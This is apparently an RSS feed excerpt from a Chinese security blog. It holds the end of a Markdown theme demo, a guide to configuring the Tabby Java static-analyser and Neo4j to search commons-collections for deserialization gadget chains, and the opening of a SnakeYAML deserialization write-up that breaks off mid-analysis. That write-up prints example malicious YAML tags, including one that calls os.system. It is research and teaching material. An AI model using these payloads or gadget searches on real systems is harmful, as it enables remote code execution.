&lt;li&gt;&lt;code&gt;light-dark-auto&lt;/code&gt;: Choose two themes for the website to use for light and dark mode. The header will include a button for toggling between light/dark/auto. For example, you could choose &lt;code&gt;github-dark&lt;/code&gt; and &lt;code&gt;github-light&lt;/code&gt; with a default of &lt;code&gt;&quot;auto&quot;&lt;/code&gt; and the user&apos;s experience will match their operating system theme straight away.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;select&lt;/code&gt;: Choose two or more themes for the website and include a button in the header to change between any of these themes. You could include as many Shiki themes from Expressive Code as you like. Allow users to find their favorite theme!&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;When the user changes the theme, their preference is stored in &lt;code&gt;localStorage&lt;/code&gt; to persist across page navigation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Code Blocks&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at some code block styles:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def hello_world():
    print(&quot;Hello, world!&quot;)

hello_world()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def hello_world():
    print(&quot;Hello, world!&quot;)

hello_world()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;python hello.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also some inline code: &lt;code&gt;1 + 2 = 3&lt;/code&gt;. Or maybe even &lt;code&gt;(= (+ 1 2) 3)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;See the &lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;Expressive Code Docs&lt;/a&gt; for more information on available features like wrapping text, line highlighting, diffs, etc.&lt;/p&gt;
&lt;h2&gt;Basic Markdown Elements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;List item 1&lt;/li&gt;
&lt;li&gt;List item 2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Bold text&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Italic text&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Strikethrough text&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.example.com&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In life, as in art, some endings are bittersweet. Especially when it comes to love. Sometimes fate throws two lovers together only to rip them apart. Sometimes the hero finally makes the right choice but the timing is all wrong. And, as they say, timing is everything.&lt;/p&gt;
&lt;p&gt;- Gossip Girl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Age&lt;/th&gt;
&lt;th&gt;City&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Alice&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;New York&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bob&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Los Angeles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Charlie&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;Chicago&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Images&lt;/h2&gt;
&lt;p&gt;Images can include a title string after the URL to render as a &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; with a &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./PixelatedGreenTreeSide.png&quot; alt=&quot;Pixel art of a tree&quot; title=&quot;Pixel art renders poorly without proper CSS&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![Pixel art of a tree](./PixelatedGreenTreeSide.png &apos;Pixel art renders poorly without proper CSS&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ve also added a special tag for pixel art that adds the correct CSS to render properly. Just add &lt;code&gt;#pixelated&lt;/code&gt; to the very end of the alt string.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./PixelatedGreenTreeSide.png&quot; alt=&quot;Pixel art of a tree #pixelated&quot; title=&quot;But adding #pixelated to the end of the alt string fixes this&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![Pixel art of a tree #pixelated](./PixelatedGreenTreeSide.png &apos;But adding #pixelated to the end of the alt string fixes this&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Admonitions&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;:::note
testing123
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
testing123
:::&lt;/p&gt;
&lt;p&gt;:::tip
testing123
:::&lt;/p&gt;
&lt;p&gt;:::important
testing123
:::&lt;/p&gt;
&lt;p&gt;:::caution
testing123
:::&lt;/p&gt;
&lt;p&gt;:::warning
testing123
:::&lt;/p&gt;
&lt;h2&gt;Emoji :star_struck:&lt;/h2&gt;
&lt;p&gt;Emojis can be added in markdown by including a literal emoji character or a GitHub shortcode. You can browse an unofficial database &lt;a href=&quot;https://emojibase.dev/emojis?shortcodePresets=github&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Good morning! :sleeping: :coffee: :pancakes:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Good morning! :sleeping: :coffee: :pancakes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All emojis (both literal and shortcoded) are made more accessible by wrapping them in a &lt;code&gt;span&lt;/code&gt; tag like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span role=&quot;img&quot; aria-label=&quot;coffee&quot;&amp;gt;☕️&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the time of writing, &lt;a href=&quot;https://emojipedia.org/emoji-16.0&quot;&gt;emoji v16&lt;/a&gt; is not supported yet. These emojis can be included literally but they do not have shortcodes and will not be wrapped.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;LaTeX/KaTeX Math Support&lt;/h2&gt;
&lt;p&gt;You can also display inline math via &lt;a href=&quot;https://github.com/remarkjs/remark-math&quot;&gt;remark-math and rehype-katex&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Make those equations pretty! $ \frac{a}{b} \cdot b = a $
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make those equations pretty! $ \frac{a}{b} \cdot b = a $&lt;/p&gt;
&lt;h2&gt;HTML Elements&lt;/h2&gt;
&lt;p&gt;&amp;lt;button&amp;gt;A Button&amp;lt;/button&amp;gt;&lt;/p&gt;
&lt;h3&gt;Fieldset with Inputs&lt;/h3&gt;
&lt;p&gt;&amp;lt;fieldset&amp;gt;
&amp;lt;input type=&quot;text&quot; placeholder=&quot;Type something&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type=&quot;number&quot; placeholder=&quot;Insert number&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type=&quot;text&quot; value=&quot;Input value&quot;&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;
    &amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;
    &amp;lt;option value=&quot;2&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;
    &amp;lt;option value=&quot;3&quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;
&amp;lt;/select&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;textarea placeholder=&quot;Insert a comment...&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot;&amp;gt; I understand&amp;lt;br&amp;gt;&amp;lt;/label&amp;gt;
​    &amp;lt;button type=&quot;submi&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;
&amp;lt;/fieldset&amp;gt;&lt;/p&gt;
&lt;h3&gt;Form with Labels&lt;/h3&gt;
&lt;p&gt;&amp;lt;form&amp;gt;
&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;apple&quot;&amp;gt;
Apple
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;banana&quot;&amp;gt;
Banana
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;orange&quot;&amp;gt;
Orange
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;grape&quot;&amp;gt;
Grape
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;checkbox&quot; name=&quot;terms&quot; value=&quot;agree&quot;&amp;gt;
I agree to the terms and conditions
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
</content:encoded><author>void2eye</author></item><item><title>Tabby心得</title><link>https://void2eye.top/posts/tabby%E5%BF%83%E5%BE%97</link><guid isPermaLink="true">https://void2eye.top/posts/tabby%E5%BF%83%E5%BE%97</guid><description>java静态分析工具Tabby使用中踩的一些坑和经验。</description><pubDate>Tue, 05 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Tabby环境配置&lt;/h2&gt;
&lt;p&gt;工具简介：Tabby 是一款用于分析 Java 项目的&lt;code&gt;静态分析&lt;/code&gt;工具，旨在结合图数据库和静态程序分析技术完成常见漏洞的挖掘。安全研究员可以使用 Tabby 快速检索 Java 项目中可能存在的安全风险，也可以使用 Tabby 完成特定类、函数、调用关系等内容的快速定位。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;tabyy 2.0 本地环境 JDK17&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先把以下三个文件下好&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tabby.jar https://github.com/wh1t3p1g/tabby&lt;/li&gt;
&lt;li&gt;tabby-vul-finder https://github.com/wh1t3p1g/tabby-vul-finder&lt;/li&gt;
&lt;li&gt;tabby-path-finder https://github.com/wh1t3p1g/tabby-path-finder&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建好工作目录（从tabby-core里面复制必要目录）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ tree
.
├── cases # 用于放置待分析的项目，可以是单个文件，也可以是目录
│   └── commons-collections-3.2.1.jar
├── config # 用于放置配置文件
│   ├── db.properties  # 配置数据库相关内容
│   └── settings.properties  # 配置待分析项目、污点分析等内容
├── output # 用于放置生成后的csv文件
│   └── dev
├── rules # 规则文件夹
│   ├── basicClasses.json 
│   ├── commonJars.json # 用于排除无需分析的三方jar
│   ├── cyphers.yml # 用于 tabby-vul-finder 自动化检索
│   ├── sinks.json # 用于配置 sink 函数
│   ├── system.json # 用于配置专家规则
│   └── tags.json # 用于配置source点识别
├── temp # v2.0 版本开始将临时文件都生成到同级temp目录下
├── run.bat 
├── tabby-vul-finder.jar # 用于导入和自动化查询的 jar
└── tabby.jar # 核心jar，用于生成图数据
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
我的环境是win11，所以“翻译”了个run.bat
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@echo off

if &quot;%1&quot;==&quot;build&quot; (
    java -Xmx16g -jar tabby.jar
) else if &quot;%1&quot;==&quot;load&quot; (
    java -jar tabby-vul-finder.jar --load %2
) else if &quot;%1&quot;==&quot;query&quot; (
    java -jar tabby-vul-finder.jar --query %2
) else if &quot;%1&quot;==&quot;pack&quot; (
    tar -czvf output.tar.gz .\output\*.csv
) else (
    echo Usage: %0 [build^|load^|query^|pack] [argument]
    echo   build - Run tabby.jar with 16GB memory
    echo   load  - Load data using second argument
    echo   query - Query data using second argument  
    echo   pack  - Create tar.gz archive of CSV files
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;neo4j配置&lt;/h3&gt;
&lt;p&gt;下载好neo4j社区版（这里我不推荐下载desktop，插件会有问题）+ apoc插件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;apoc-core      https://github.com/neo4j/apoc&lt;/li&gt;
&lt;li&gt;apoc-extended  https://github.com/neo4j-contrib/neo4j-apoc-procedures&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;连同之前下好的&lt;code&gt;tabby-path-finder&lt;/code&gt;一起放到neo4j的plugin目录里。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250808102339260.png&quot; alt=&quot;image-20250808102339260&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
apoc尽量和neo4j版本号一样
:::&lt;/p&gt;
&lt;p&gt;然后在conf目录下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250808102056197.png&quot; alt=&quot;image-20250808102056197&quot; /&gt;&lt;/p&gt;
&lt;p&gt;apoc.conf&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apoc.import.file.enabled=true
apoc.import.file.use_neo4j_config=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;neo4j.conf 修改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# A comma separated list of procedures and user defined functions that are allowed
# full access to the database through unsupported/insecure internal APIs.
dbms.security.procedures.unrestricted=my.extensions.example,my.procedures.*,jwt.security.*,apoc.*,tabby.*

# A comma separated list of procedures to be loaded by default.
# Leaving this unconfigured will load all procedures found.
dbms.security.procedures.allowlist=apoc.*,tabby.*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;
CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;
CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;
CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;
CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);
CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);
CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);
CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);
CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);
CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);
CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
:schema //查看表库
:sysinfo //查看数据库信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250808102736979.png&quot; alt=&quot;image-20250808102736979&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CALL apoc.help(&apos;all&apos;)
CALL tabby.help(&apos;tabby&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两个命令不报错就是成功&lt;/p&gt;
&lt;p&gt;:::note
想要清库最直接的办法就是直接打/data删掉，然后重启重新初始化一遍索引就好了
:::&lt;/p&gt;
&lt;h3&gt;IDEA插件&lt;/h3&gt;
&lt;p&gt;直接看文档 https://www.yuque.com/wh1t3p1g/tp0c1t/mxgt8v7yhguwmi0g&lt;/p&gt;
&lt;h3&gt;配置文件&lt;/h3&gt;
&lt;p&gt;具体根据不同场景修改请看原文：https://www.yuque.com/wh1t3p1g/tp0c1t/mgihyvp3vgscgt63&lt;/p&gt;
&lt;h3&gt;一些坑&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你要自己编译vul-finder和path-finder的化可以用j11 + mvn3.9，实测不会报错。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;neo4j企业版才能新建数据库，直接用默认的neo4j database就好了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;IDEA插件想要成功跳转要把lib添加到项目库里面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250808103118820.png&quot; alt=&quot;image-20250808103118820&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置onlyJDK分析后下一次想要改版本需要把工作目录下的jre_libs删除&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若要使用tabby-vul-finder记得把其仓库里面的&lt;a href=&quot;https://github.com/tabby-sec/tabby-vul-finder/tree/main/rules&quot;&gt;rules&lt;/a&gt;copy到自己本地的rules里面，正确语句&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;.\run.bat query .\rules\cc-cb.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;总体流程&lt;/h3&gt;
&lt;p&gt;先build出csv数据，然后load到你的neo4j数据库里面。接下来就开查。&lt;/p&gt;
&lt;h2&gt;Cypher &amp;amp; tabby-path-finder&lt;/h2&gt;
&lt;p&gt;Cypher 是 Neo4j 的声明式图查询语言。&lt;/p&gt;
&lt;p&gt;:::important&lt;/p&gt;
&lt;p&gt;其语言核心特点是结果导向的，即：“查什么”而不是“怎么查”&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;其查询语句为返回子句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;match (movie:Movie) where movie.rating &amp;gt; 7 return movie.title
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这也反映了其特征&lt;/p&gt;
&lt;p&gt;&lt;code&gt;(nodes)-[:CONNECT_TO]→(otherNodes)&lt;/code&gt;。圆括号用于圆形节点，&lt;code&gt;-[:ARROWS]→&lt;/code&gt; 用于关系。&lt;/p&gt;
&lt;p&gt;基本概念例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 节点用圆括号表示
(n)           // 一个节点，变量名为n
(person)      // 一个节点，变量名为person
(:Person)     // 一个带标签Person的节点，没有变量名
(p:Person)    // 一个带标签Person的节点，变量名为p

// 关系用方括号表示，在两个节点之间
-[r]-&amp;gt;        // 有向关系，变量名为r
-[:KNOWS]-&amp;gt;   // 有向关系，类型为KNOWS
-[k:KNOWS]-&amp;gt;  // 有向关系，类型为KNOWS，变量名为k
-[]-          // 无向关系

// 基本匹配
MATCH (n:Person)                    // 找所有Person标签的节点
MATCH (p:Person {name: &quot;Alice&quot;})    // 找name属性为Alice的Person节点
MATCH (p:Person)-[:KNOWS]-&amp;gt;(f)      // 找Person认识的所有人

//where 条件过滤
MATCH (p:Person) 
WHERE p.age &amp;gt; 30                    // 年龄大于30
WHERE p.name =~ &quot;A.*&quot;               // 名字以A开头（正则表达式）
WHERE p.age IN [25, 30, 35]         // 年龄在指定列表中

//with传递结果过
MATCH (p:Person) 
WITH p, p.age * 2 AS doubleAge      // 计算后传递给下一部分
WHERE doubleAge &amp;gt; 60
RETURN p.name
    
//collect聚合收集
MATCH (p:Person)-[:KNOWS]-&amp;gt;(f)
WITH p, collect(f) AS friends       // 将所有朋友收集到数组中
RETURN p.name, friends
                
//call调用过程
CALL db.labels() YIELD label        // 调用系统过程
RETURN label

// 调用自定义过程
CALL my.procedure(param1, param2) YIELD result
RETURN result
                  
//正则表达式
WHERE p.name =~ &quot;.*Smith&quot;           // 以Smith结尾
WHERE p.email =~ &quot;.*@gmail\\.com&quot;   // Gmail邮箱
WHERE p.code =~ &quot;org\\.apache\\..*&quot; // 以org.apache.开头
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;YIELD告诉Neo4j&quot;我要从这个存储过程的返回结果中提取哪些字段&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;来分析一个tabby-path-finder的payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;match (source:Method {NAME:&quot;toString&quot;}) 
where source.CLASSNAME=~&quot;org.apache.commons.collections.*&quot; 

match (sink:Method {NAME:&quot;get&quot;, CLASSNAME:&quot;java.util.Map&quot;}) 
where sink.PARAMETER_SIZE=1 

call tabby.algo.findJavaGadget(source, &quot;&amp;gt;&quot;，sink, 5, false) yield path

// 黑名单
//where none(n in nodes(path) where 
 // n.CLASSNAME in [
  //  &quot;java.io.ObjectInputStream&quot;,
 //   &quot;java.util.concurrent.ConcurrentHashMap&quot;
 // ])

return path
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常用的函数就是 tabby.algo.findJavaGadget 其他函数参考文章：https://www.yuque.com/wh1t3p1g/tp0c1t/ta9ldsycan538ndf&lt;/p&gt;
&lt;p&gt;其签名：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;source&lt;/code&gt;: 源节点&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;:分析方向&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sinks&lt;/code&gt;: 目标节点数组&lt;/p&gt;
&lt;p&gt;&lt;code&gt;5&lt;/code&gt;: &lt;strong&gt;maxNodeLength&lt;/strong&gt; - 最大路径长度为5个节点&lt;/p&gt;
&lt;p&gt;&lt;code&gt;false&lt;/code&gt;: &lt;strong&gt;isDepthFirst&lt;/strong&gt; - 使用广度优先搜索（而非深度优先）&lt;/p&gt;
&lt;p&gt;那这个payload其实就是首先起始点为：cc依赖下的toString方法 然后再找Map接口的get方法作为sink点，然后过滤一下黑名单（如果有的话&lt;/p&gt;
&lt;p&gt;这里我分析的jar是commons-collections-3.2.2.jar&lt;/p&gt;
&lt;p&gt;可以看到当长度调成4的时候，一共有5条链子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250808114043019.png&quot; alt=&quot;image-20250808114043019&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;org.apache.commons.collections.DefaultMapBag#toString -&amp;gt;getCount -&amp;gt;getInteger-&amp;gt;getNumber-&amp;gt;map.get()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;com.sun.xml.internal.ws.client.Stub#toString-&amp;gt;getStringId-&amp;gt; this.getRequestContext().get(&quot;javax.xml.ws.service.endpoint.address&quot;);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sun.security.x509.AlgorithmId#toString-&amp;gt;getName-&amp;gt; Map&amp;lt;ObjectIdentifier, String&amp;gt; nameTable.get()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;org.apache.commons.collections.bag.AbstractMapBag#toString -&amp;gt; getCount -&amp;gt; map.get&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;org.apache.commons.collections.keyvalue.TiedMapEntry#toString -&amp;gt; getValue -&amp;gt; map.get&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过分析，链子2没有实现Serializable。其他都可以走。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果长度设置为3就只有我们熟悉的TiedMap和AbstractMap了&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>void2eye</author></item><item><title>SnakeYAML反序列化总结</title><link>https://void2eye.top/posts/snakeyaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93</link><guid isPermaLink="true">https://void2eye.top/posts/snakeyaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93</guid><description>SnakeYAML利用原理和一些Gadget</description><pubDate>Sun, 10 Aug 2025 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;YAML其实就是一种扩展版的标记语言，有些类似于XML。&lt;/p&gt;
&lt;p&gt;其支持多种数据类型，而我们重点关注的，就是他的标签系统（Tag）。&lt;/p&gt;
&lt;p&gt;简单理解，就是一个指定数据类型的功能。&lt;/p&gt;
&lt;p&gt;:::note
yaml基础语法参考https://www.runoob.com/w3cnote/yaml-intro.html ,空格作为缩进，然后:分割键值对。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: !!str &quot;void2eye&quot;
age: !!age 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么其安全问题就很好理解了，其tag我们可以指定为一些危险的类，比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil: !!python/object/apply:os.system [&quot;whoami&quot;]
java: !!java.net.URL [&quot;http://111/111&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回到我们的主题，&lt;code&gt;SnakeYAML&lt;/code&gt;就是一个java解析yaml文件的依赖。其反序列化漏洞也与我们刚才讲的tag密切相关（当然官方并不认为这个一个漏洞，他们主张让用户不序列化非信任的yaml数据，后面也做了修复，强制使用安全的construct，这里就不细述了）&lt;/p&gt;
&lt;h2&gt;原理&lt;/h2&gt;
&lt;p&gt;SnakeYAML有两个核心方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yaml.load(): 将YAML字符串反序列化为Java对象&lt;/li&gt;
&lt;li&gt;Yaml.dump(): 将Java对象序列化为YAML字符串&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;直接看例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.example.snakeyaml;

public class expBean {
    private int age;
    private String name;

    public expBean() {
        System.out.println(&quot;expBean&apos;s construct be called&quot;);
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println(&quot;setAge be called&quot;);
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println(&quot;setName be called&quot;);
        this.name = name;
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Yaml yaml = new Yaml();
expBean data = yaml.load(&quot;!!org.example.snakeyaml.expBean {age: 18, name: &apos;SnakeYAML&apos;}&quot;);

String yamlString = yaml.dump(data);
System.out.println(&quot;Loaded YAML Object: &quot; + data);
System.out.println(&quot;YAML String: &quot; + yamlString);

//expBean&apos;s construct be called
//setAge be called
//setName be called
//Loaded YAML Object: org.example.snakeyaml.expBean@39a054a5
//YAML String: !!org.example.snakeyaml.expBean {age: 18, name: SnakeYAML}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到Yaml.load调用了expBean的构造方法和setter方法，调试看看在哪里调用的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811102818137.png&quot; alt=&quot;image-20250811102818137&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进到loadFromReader方法，这里的Composer先初始化，之后用于YAML处理的第二阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Parser - 将YAML文本解析为事件流&lt;/li&gt;
&lt;li&gt;Composer - 将事件流组合成节点树(Node Tree)   &amp;lt;---&lt;/li&gt;
&lt;li&gt;Constructor - 将节点树构造成Java对象&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们重点关注getSingleData()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811103256940.png&quot; alt=&quot;image-20250811103256940&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811142421294.png&quot; alt=&quot;image-20250811142421294&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个方法核心在从YAML流中获取单个文档并构造成指定类型的Java对象，而这里的Node就是通过composer从YAML流里面获取的根节点，其格式就是从!!转换为tag，即SnakeYAML内部的&lt;code&gt;节点树结构&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tag:yaml.org,2002:org.example.snakeyaml.expBean  == !!org.example.snakeyaml.expBean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后调用constructDocument 将节点树转换为Java对象，继续跟进。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811143132763.png&quot; alt=&quot;image-20250811143132763&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续跟进&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811143213784.png&quot; alt=&quot;image-20250811143213784&quot; /&gt;&lt;/p&gt;
